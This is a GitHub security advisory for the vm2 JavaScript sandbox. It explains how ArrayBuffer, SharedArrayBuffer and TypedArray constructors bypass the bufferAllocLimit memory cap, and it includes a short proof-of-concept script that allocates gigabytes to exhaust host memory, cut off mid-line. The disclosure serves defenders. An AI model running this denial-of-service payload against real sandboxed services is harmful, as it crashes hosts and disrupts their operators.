GHSA-v836-6xw4-9cx3: vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass
Summary:
The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap.
Details:
The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359).
However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense.
A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt.
Environment:
- vm2 version: 3.11.3
- Node.js: v25.8.1 (affects all Node.js versions)
- Configuration: Default new VM() or any configuration including bufferAllocLimit
POC:
const { VM } = require('vm2');
// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap
// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"
// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)'); // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)'); // 1GB allocated!
// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(
Details
Original advisory: https://github.com/advisories/GHSA-v836-6xw4-9cx3
More from GitHub Security Advisories
- mediumGHSA-p43p-whwx-q52h: JupyterHub has Unauthenticated Denial of Service via Unbounded Username Logging on Failed…2026-08-25
- highGHSA-cv84-9p8j-fj68: icalendar has Algorithmic Complexity in Equality2026-08-25
- highGHSA-hvfh-5mj3-5f3j: Chainlist has SSRF via MCP SSE and streamable-http transports that allows unauthenticated…2026-08-25
- criticalGHSA-w3fx-mc44-mf6j: Chainlit has command injection via MCP stdio transport that allows unauthenticated remote…2026-08-25
- mediumGHSA-72f3-6w86-7rv3: @arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint2026-08-25